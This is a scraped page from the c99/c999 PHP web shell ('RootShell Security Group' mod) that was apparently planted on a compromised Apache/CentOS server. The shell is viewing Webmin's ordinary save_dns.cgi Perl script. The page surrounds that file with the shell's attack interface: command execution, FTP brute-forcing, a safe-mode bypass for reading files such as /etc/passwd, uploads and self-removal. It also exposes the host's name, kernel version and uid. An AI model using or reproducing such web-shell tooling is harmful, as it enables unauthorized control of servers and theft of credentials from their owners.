!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/net/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_dns.cgi (2.94 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_dns.cgi
# Save DNS client configuration

require './net-lib.pl';
$access{'dns'} == 2 || &error($text{'dns_ecannot'});
&error_setup($text{'dns_err'});
&ReadParse();
$old_hostname = &get_system_hostname();

$in{'hostname'} =~ /^[A-z0-9\.\-]+$/ ||
    &error(&text('dns_ehost', $in{'hostname'}));
$dns = { };
for($i=0; defined($ns = $in{"nameserver_$i"}); $i++) {
    $ns = $in{"nameserver_$i"};
    $ns =~ s/^\s+//; $ns =~ s/\s+$//;
    if ($ns) {
        &check_ipaddress_any($ns) ||
            &error(&text('dns_ens', $ns));
        push(@{$dns->{'nameserver'}}, $ns);
        }
    }
if ($in{'name0'}) {
    my $i = 0 ;
    my $namekey="name$i";
    while ($in{$namekey}) {
    $dns->{'name'}[$i] = $in{$namekey};
    my $nskey = "nameserver$i";
    my $j = -1;
    while (++$j < $max_dns_servers) {
        $ns = $in{"${nskey}_$j"};
        $ns =~ s/^\s+//; $ns =~ s/\s+$//;
        if ($ns) {
        &check_ipaddress_any($ns) ||
            &error(&text('dns_ens', $ns));
        push(@{$dns->{$nskey}}, $ns);
        }
    }
    $i++;
    $namekey="name$i";
    }
}
if (!$in{'domain_def'}) {
    @dlist = split(/\s+/, $in{'domain'});
    foreach $d (@dlist) {
        $d =~ /^[A-z0-9\.\-]+$/ ||
            &error(&text('dns_edomain', $d));
        push(@{$dns->{'domain'}}, $d);
        }
    @dlist>0 || &error($text{'dns_esearch'});
    }
&parse_order($dns);
&save_dns_config($dns);
&save_hostname($in{'hostname'});

if ($in{'hosts'} && $in{'hostname'} ne $old_hostname) {
    # Update hostname in /etc/hosts too
    @hosts = &list_hosts();
    foreach $h (@hosts) {
        local $found = 0;
        foreach $n (@{$h->{'hosts'}}) {
            if (lc($n) eq lc($old_hostname)) {
                $n = $in{'hostname'};
                $found++;
                }
            }
        &modify_host($h) if ($found);
        }

    # Update in ipnodes too
    @ipnodes = &list_ipnodes();
    foreach $h (@ipnodes) {
        local $found = 0;
        foreach $n (@{$h->{'ipnodes'}}) {
            if (lc($n) eq lc($old_hostname)) {
                $n = $in{'hostname'};
                $found++;
                }
            }
        &modify_ipnode($h) if ($found);
        }
    }

if (&foreign_installed("postfix") && $in{'hostname'} ne $old_hostname) {
    # Update postfix mydestination too
    &foreign_require("postfix");
    &postfix::lock_postfix_files();
    @mydests = split(/[ ,]+/, &postfix::get_current_value("mydestination"));
    $idx = &indexoflc($old_hostname, @mydests);
    if ($idx >= 0) {
        $mydests[$idx] = $in{'hostname'};
        &postfix::set_current_value("mydestination",
                        join(", ", @mydests));
        }
    $old_shorthostname = $old_hostname;
    $old_shorthostname =~ s/\..*$//;
    $shorthostname = $in{'hostname'};
    $shorthostname =~ s/\..*$//;
    $idx = &indexoflc($old_shorthostname, @mydests);
    if ($idx >= 0) {
        $mydests[$idx] = $shorthostname;
        &postfix::set_current_value("mydestination",
                        join(", ", @mydests));
        }

    # Update postfix myorigin
    $myorigin = &postfix::get_current_value("myorigin");
    if ($myorigin eq $old_hostname) {
        &postfix::set_current_value("myorigin",
                        $in{'hostname'});
        }

    &postfix::unlock_postfix_files();
    if (&postfix::is_postfix_running()) {
        &postfix::reload_postfix();
        }
    }

&webmin_log("dns", undef, undef, \%in);
&redirect("");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--